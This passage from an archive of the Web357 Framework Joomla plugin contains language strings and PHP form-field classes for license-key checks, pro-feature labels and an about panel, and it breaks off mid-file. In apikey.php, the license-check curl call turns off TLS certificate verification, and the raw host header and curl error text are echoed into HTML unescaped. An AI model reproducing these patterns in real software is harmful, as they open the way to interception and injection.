extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other W357FRM_ONLY_IN_PRO="Доступно только в версии %s" ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="Готово. Расширение '%s' активно и готово к работе." W357FRM_EXTENSION_IS_NOT_ACTIVE="Ошибка: расширение '%s' не включено или не установлено." ; Fieldsets COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Назначьте нескольких администраторов определенным группам пользователей" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/ru-RU/ru-RU.plg_system_web357framework.sys.ini000060400000001536151721520510016770 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Система - Фреймворк Web357" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Фреймворк Web357 - необходимый вспомогательный инструмент, используемый всеми расширениями от Web357. В файлы плагина включены код и функции PHP, позволяющие обновляться плагину только в одном месте, т.е. в самом себе, и обеспечивающие их автоматическое развертывание на любом внешнем сайта, использующем приложения и плагины Web357" ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Описание" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Описание" elements/profeature.php000060400000006770151721520510011252 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Factory; use Joomla\CMS\Version; use Joomla\CMS\Language\Text; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldProfeature extends FormField { protected $type = 'profeature'; protected function getLabel() { // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $major_version = 'v'.$short_version[0].'x'; // v3x // Data $id = $this->element["id"]; $label = Text::_($this->element["label"]); if (version_compare($mini_version, "3.8", ">=")) { // is Joomla! 4.x $title = ''; $data_content = Text::_($this->element["description"]); $data_original_title = $label; $class = 'hasPopover'; } else { // Joomla! 2.5.x and Joomla! 3.x $title = '<strong>'.Text::_($this->element["label"]).'</strong><br />'.Text::_($this->element["description"]); $data_content = ''; $data_original_title = ''; $class = 'hasTooltip'; } // an einai j4 den to deixneis, alliws to deixneis return '<label id="jform_params_'.$id.'-lbl" for="jform_params_'.$id.'" class="'.$class.'" title="'.$title.'" data-content="'.$data_content.'" data-original-title="'.$data_original_title.'">'.$label.'</label>'; } protected function getInput() { // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $major_version = 'v'.$short_version[0].'x'; // v3x // Data $id = $this->element["id"]; $label = Text::_($this->element["label"]); if (version_compare($mini_version, "2.5", "<=")) { // is Joomla! 2.5.x $style = ' style="padding-top: 5px; font-style: italic; display: block; clear: both;"'; } else { $style = ' style="padding-top: 5px; font-style: italic; display: inline-block;"'; } $class = ''; if (isset($this->element["class"])) { $class = $this->element["class"]; $class = str_replace('btn-group btn-group-yesno', '', $class); $class = ' class="'.$class.'"'; } // Get the Product ID from web357.com $component = Factory::getApplication()->input->get('component', '', 'STRING'); $product_id = Functions::getProductId($component); // Build the link to the pro version $link_to_pro = '<a href="//www.web357.com/joomla-pricing?product_id='.$product_id.'&utm_source=CLIENT&utm_medium=CLIENT-ProLink-web357&utm_content=CLIENT-ProLink&utm_campaign=radiofelement" target="_blank">PRO</a>'; $html = '<div'.$style.''.$class.'>'.sprintf(Text::_('W357FRM_ONLY_IN_PRO'), $link_to_pro).'</div>'; return $html; } }elements/index.html000060400000000054151721520510010347 0ustar00<html><body bgcolor="#FFFFFF"></body></html>elements/header.php000060400000006037151721520510010322 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Factory; use Joomla\CMS\Version; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldHeader extends FormField { function getHeaderHTML() { // Retrieving request data using JInput $jinput = Factory::getApplication()->input; if (method_exists($this, 'fetchTooltip')): $label = $this->fetchTooltip($this->element['label'], $this->description, $this->element, $this->options['control'], $this->element['name'] = ''); else: $label = parent::getLabel(); endif; // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 if (version_compare($mini_version, "2.5", "<=")) : // v2.5 $jversion_class = 'vj25x'; elseif (version_compare($mini_version, "3.0", "<=")) : // v3.0.x $jversion_class = 'vj30x'; elseif (version_compare($mini_version, "3.1", "<=")) : // v3.1.x $jversion_class = 'vj31x'; elseif (version_compare($mini_version, "3.2", "<=")) : // v3.2.x $jversion_class = 'vj32x'; elseif (version_compare($mini_version, "3.3", "<=")) : // v3.3.x $jversion_class = 'vj33x'; elseif (version_compare($mini_version, "3.4", "<=")) : // v3.4.x $jversion_class = 'vj34x'; else: // other $jversion_class = 'j00x'; endif; // There are two types of class, the w357_large_header, w357_small_header, w357_xsmall_header. $class = (!empty($this->element['class'])) ? $this->element['class'] : ''; return '<div class="w357frm_param_header '.$class.' '.$jversion_class.' '.$jinput->get('option').'">'.$label.'</div>'; } function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } protected function getLabel_J3() { return $this->getHeaderHTML(); } protected function getInput_J3() { return ' '; } protected function getLabel_J4() { return $this->getHeaderHTML(); } protected function getInput_J4() { return ' '; } }elements/loadmodalbehavior.php000060400000001673151721520510012547 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Form\FormField; class JFormFieldloadmodalbehavior extends FormField { protected $type = 'loadmodalbehavior'; protected function getLabel() { return ''; } protected function getInput() { if (version_compare(JVERSION, '4.0', 'lt')) { HTMLHelper::_('behavior.modal'); } } }elements/elements_helper.php000060400000003003151721520510012233 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Uri\Uri; // Autoload require_once(__DIR__.'/../autoload.php'); // CSS Factory::getDocument()->addStyleSheet(URI::root(true).'/media/plg_system_web357framework/css/style.min.css?v=20251027150438'); // BEGIN: Loading plugin language file $lang = Factory::getLanguage(); $current_lang_tag = $lang->getTag(); $lang = Factory::getLanguage(); $extension = 'plg_system_web357framework'; $base_dir = JPATH_ADMINISTRATOR; $language_tag = (!empty($current_lang_tag)) ? $current_lang_tag : 'en-GB'; $reload = true; $lang->load($extension, $base_dir, $language_tag, $reload); // END: Loading plugin language file // Check if extension=php_curl.dll is enabled in PHP function isCurl(){ if (function_exists('curl_version')): return true; else: return false; endif; } // Check if allow_url_fopen is enabled in PHP function allowUrlFopen(){ if(ini_get('allow_url_fopen')): return true; else: return false; endif; }elements/w357note.php000060400000002574151721520510010467 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Language\Text; class JFormFieldw357note extends FormField { protected $type = 'w357note'; function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } protected function getLabel_J3() { return Text::_('W357FRM_APIKEY_DESCRIPTION'); } protected function getInput_J3() { return ' '; } protected function getLabel_J4() { return ''; } protected function getInput_J4() { return Text::_('W357FRM_APIKEY_DESCRIPTION'); } }elements/info.php000060400000003145151721520510010022 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Language\Text; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldinfo extends FormField { protected $type = 'info'; function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } protected function getLabel_J3() { return VersionChecker::outputMessage($this->element); } protected function getInput_J3() { return ' '; } protected function getLabel_J4() { return Text::_('W357FRM_HEADER_VERSION_CHECK'); } protected function getInput_J4() { return VersionChecker::outputMessage($this->element); } }elements/vmmanufacturers.php000060400000002337151721520510012313 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\HTML\HTMLHelper; class JFormFieldVmmanufacturers extends FormField { var $type = 'vmmanufacturers'; function getInput() { if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php'); VmConfig::loadConfig(); $model = VmModel::getModel('Manufacturer'); $manufacturers = $model->getManufacturers(true, true, false); return HTMLHelper::_('select.genericlist', $manufacturers, $this->name, 'class="inputbox" size="1" multiple="multiple"', 'virtuemart_manufacturer_id', 'mf_name', $this->value, $this->id); } }elements/apikey.php000060400000015217151721520510010354 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use Joomla\CMS\HTML\HTMLHelper; class JFormFieldapikey extends FormField { protected $type = 'apikey'; protected function getLabel() { return '<label id="jform_params_apikey-lbl" for="jform_params_apikey" class="hasTooltip" title="<strong>'.Text::_('W357FRM_APIKEY').'</strong><br />'.Text::_('W357FRM_APIKEY_DESCRIPTION').'">'.Text::_('W357FRM_APIKEY').'</label>'; } protected function getInput() { $html = ''; // Load the Web357 Framework language file Factory::getLanguage()->load('plg_system_web357framework', JPATH_PLUGINS . '/system/web357framework'); // load js Text::script('W357FRM_SAVE_PLUGIN_SETTINGS'); Factory::getDocument()->addScript(Uri::root(true).'/media/plg_system_web357framework/js/admin.min.js'); // Translate placeholder text $hint = $this->translateHint ? Text::_($this->hint) : $this->hint; // Initialize some field attributes. $class = !empty($this->class) ? ' class="' . $this->class . '"' : ''; $disabled = $this->disabled ? ' disabled' : ''; $readonly = $this->readonly ? ' readonly' : ''; $columns = $this->columns ? ' cols="' . $this->columns . '"' : ''; $rows = $this->rows ? ' rows="' . $this->rows . '"' : ''; $required = $this->required ? ' required aria-required="true"' : ''; $hint = $hint ? ' placeholder="' . $hint . '"' : ''; $autocomplete = !$this->autocomplete ? ' autocomplete="off"' : ' autocomplete="' . $this->autocomplete . '"'; $autocomplete = $autocomplete == ' autocomplete="on"' ? '' : $autocomplete; $autofocus = $this->autofocus ? ' autofocus' : ''; $spellcheck = $this->spellcheck ? '' : ' spellcheck="false"'; // Initialize JavaScript field attributes. $onchange = $this->onchange ? ' onchange="' . $this->onchange . '"' : ''; $onclick = $this->onclick ? ' onclick="' . $this->onclick . '"' : ''; // Default value $value = (!empty($this->value) && $this->value != '') ? $this->value : ''; $value = htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); // Including fallback code for HTML5 non supported browsers. HTMLHelper::_('jquery.framework'); HTMLHelper::_('script', 'system/html5fallback.min.js', ['version' => 'auto', 'relative' => true]); $html .= '<textarea name="' . $this->name . '" id="' . $this->id . '"' . $columns . $rows . $class . $hint . $disabled . $readonly . $onchange . $onclick . $required . $autocomplete . $autofocus . $spellcheck . '>' . $value . '</textarea>'; // get domain $domain = $_SERVER['HTTP_HOST']; $html .= '<input type="hidden" name="jform[params][domain]" id="jform_params_domain" value="'.$domain.'" />'; // loading icon $html .= '<div id="apikey-container">'; $html .= '<div class="web357-loading-gif text-center" style="display:none"></div>'; if (!empty($value)) { // Get $url = 'https://app.web357.com/wp-json/web357-api-key/v1/status/'.$value; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1); $resp = curl_exec($ch); if (curl_errno($ch)) { $curl_error_message = curl_error($ch); } curl_close($ch); $show_active_key_button = true; if ($resp === FALSE) { $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('Call with web357.com has been failed with the error message "'. $curl_error_message .'". Please, try again later or contact us at support@web357.com.').'</div>'; } else { $resp = json_decode($resp); if (isset($resp->status) && ($resp->status == 1 || $resp->status == 'old_api_key')) { $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-success"><span class="icon-save"></span> '.sprintf(Text::_('W357FRM_APIKEY_ACTIVATED_AND_VALIDATED'), $value).'</div>'; $show_active_key_button = false; } elseif (isset($resp->status) && $resp->status == 0) { $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '.sprintf(Text::_('W357FRM_APIKEY_NOT_ACTIVATED'), $value).'</div>'; } elseif (isset($resp->code) && ($resp->code == 'error' && !empty($resp->message))) { $show_active_key_button = false; switch ($resp->message) { case 'WP_ERROR_INVALID_API_KEY': $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '. sprintf(Text::_('W357FRM_APIKEY_INVALID'), $value).'</div>'; break; case 'WP_ERROR_INACTIVE_SUBSCRIPTION': $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('W357FRM_INACTIVE_SUBSCRIPTION').'</div>'; break; default: $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_($resp->message).'</div>'; break; } } else { $html .= '<div style="margin: 20px 0;" id="w357-activated-successfully-msg" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED').'</div>'; } } // show the button only if is not activated if ($show_active_key_button) { $html .= '<p class="web357_apikey_activation_html"></p>'; $html .= '<p><a class="btn btn-success web357-activate-api-key-btn" data-apikey="'.$value.'" data-domain="'.$domain.'" data-><strong>'.Text::_('W357FRM_ACTIVATE_API_KEY').'</strong></a></p>'; } } $html .= '</div>'; // #apikey-container return $html; } }elements/about.php000060400000010762151721520510010204 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Uri\Uri; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldabout extends FormField { protected $type = 'about'; function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } protected function getLabel_J3() { return $this->Web357AboutHtml(); } protected function getInput_J3() { return ' '; } protected function getLabel_J4() { return ' '; } protected function getInput_J4() { return $this->Web357AboutHtml(); } protected function Web357AboutHtml() { $html = '<div class="web357framework-about-text">'; $juri_base = str_replace('/administrator', '', Uri::base()); // About $web357_link = 'https://www.web357.com?utm_source=CLIENT&utm_medium=CLIENT-AboutUsLink-web357&utm_content=CLIENT-AboutUsLink&utm_campaign=aboutelement'; $html .= '<a href="'.$web357_link.'" target="_blank"><img src="'.$juri_base.'media/plg_system_web357framework/images/web357-logo-main.jpg" alt="Web357 logo" style="margin-bottom: 20px;" /></a>'; $html .= "<p>Web357 develops professional extensions for <strong>Joomla!</strong> and plugins for <strong>WordPress</strong>, trusted by thousands of developers and website owners worldwide.</p><p>Since 2014, our mission has been to provide high-quality, easy-to-use, and reliable tools that simplify website management and enhance performance. From GDPR compliance solutions like the <strong>Cookies Policy Notification Bar</strong> to productivity tools such as <strong>Login as User</strong>, <strong>JLogs</strong>, and many more, our products cover a wide range of needs for both small businesses and large-scale projects.</p> <p>With a strong focus on <strong>security, usability and performance</strong>, Web357 extensions are continuously updated to remain compatible with the latest CMS versions. Our commitment is not only to deliver powerful software but also to provide <strong>outstanding support</strong> and build long-term trust with our users.</p> <p>Discover all our <strong>Joomla!</strong> extensions and <strong>WordPress</strong> plugins at <a href=\"".$web357_link."\" target=\"_blank\">web357.com</a>.</p>"; $html .= '</div>'; // .web357framework-about-text // BEGIN: Social sharing buttons $html .= '<div class="web357framework-about-heading">Stay connected!</div>'; $social_icons_dir_path = $juri_base.'media/plg_system_web357framework/images/social-icons'; $social_sharing_buttons = '<div class="web357framework-about-social-icons">'; // https://www.iconfinder.com/icons/252077/tweet_twitter_icon#size=32 // facebook $social_sharing_buttons .= '<a href="//www.facebook.com/web357" target="_blank" title="Like us on Facebook"><img src="'.$social_icons_dir_path.'/facebook.png" alt="Facebook" /></a>'; // instagram $social_sharing_buttons .= '<a href="//www.instagram.com/web357" target="_blank" title="Follow us on Instagram"><img src="'.$social_icons_dir_path.'/instagram.png" alt="Instagram" /></a>'; // twitter $social_sharing_buttons .= '<a href="//x.com/web357" target="_blank" title="Follow us on Twitter"><img src="'.$social_icons_dir_path.'/twitter.png" alt="Twitter" /></a>'; // jed $social_sharing_buttons .= '<a href="https://extensions.joomla.org/profile/profile/details/12368/" target="_blank" title="Find our extensions on Joomla! Extensions Directory"><img src="'.$social_icons_dir_path.'/jed.png" alt="JED" /></a>'; $social_sharing_buttons .= '</div>'; // .web357framework-about-social-icons $html .= $social_sharing_buttons; // END: Social sharing buttons return $html; } }elements/vmcategories.php000060400000003433151721520520011560 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die(); use Joomla\CMS\Form\FormField; if (!class_exists( 'VmConfig' )) { require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php'); } if (!class_exists('ShopFunctions')) { require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/shopfunctions.php'); } /* * This element is used by the menu manager * Should be that way */ class JFormFieldVmcategories extends FormField { var $type = 'vmcategories'; protected function getInput() { VmConfig::loadConfig(); if (class_exists('vmLanguage')) { vmLanguage::loadJLang('com_virtuemart'); } if(!is_array($this->value))$this->value = array($this->value); $categorylist = ShopFunctions::categoryListTree($this->value); $name = $this->name; if($this->multiple){ $name = $this->name; $this->multiple = ' multiple="multiple" '; } $id = VmHtml::ensureUniqueId('vmcategories'); $html = '<select id="'.$id.'" class="inputbox" name="' . $name . '" '.$this->multiple.' >'; if(!$this->multiple)$html .= '<option value="0">' . vmText::_('COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL') . '</option>'; $html .= $categorylist; $html .= "</select>"; return $html; } }elements/checkextension.php000060400000003314151721520520012100 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Language\Text; use Joomla\CMS\Component\ComponentHelper; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldcheckextension extends FormField { protected $type = 'checkextension'; protected function getLabel() { $option = (string) $this->element["option"]; if (!empty($option) && !$this->isActive($option)) { return '<div style="color:red">'.sprintf(Text::_('W357FRM_EXTENSION_IS_NOT_ACTIVE'), $option).'</div>'; } else { return '<div style="color:darkgreen">'.sprintf(Text::_('W357FRM_EXTENSION_IS_ACTIVE'), $option).'</div>'; } } // Check if the component is installed and is enabled public function isActive($option) // e.g. $option = com_k2 { if (!empty($option)) { if(!ComponentHelper::isEnabled($option)) { return false; } else { return true; } } else { die('The extension name is not detected.'); } } protected function getInput() { return ''; } }elements/description.php000060400000051662151721520520011422 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\FormField; use Joomla\CMS\Version; use Joomla\CMS\Language\Text; use 